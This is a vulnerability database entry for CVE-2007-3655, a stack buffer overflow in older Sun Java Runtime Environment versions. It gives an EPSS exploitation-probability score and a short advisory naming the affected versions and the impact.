CVE-2007-3655 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)

2025-03-18	–	–	–	–	63.58,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/24832/info Sun Java Runtime Environment is prone to a stack-based buffer-overflow vulnerability because it fails to adequately bounds-check user-supplied input before copying it to an insufficiently sized memory buffer. An attacker can exploit this issue to execute arbitrary code with the privileges of the user running the affected application. Failed exploit attempts will likely result in a denial-of-service condition. This issue affects these versions: Java Runtime Environment 6 update 1 Java Runtime Environment 5 update 11 Prior versions are also affected.
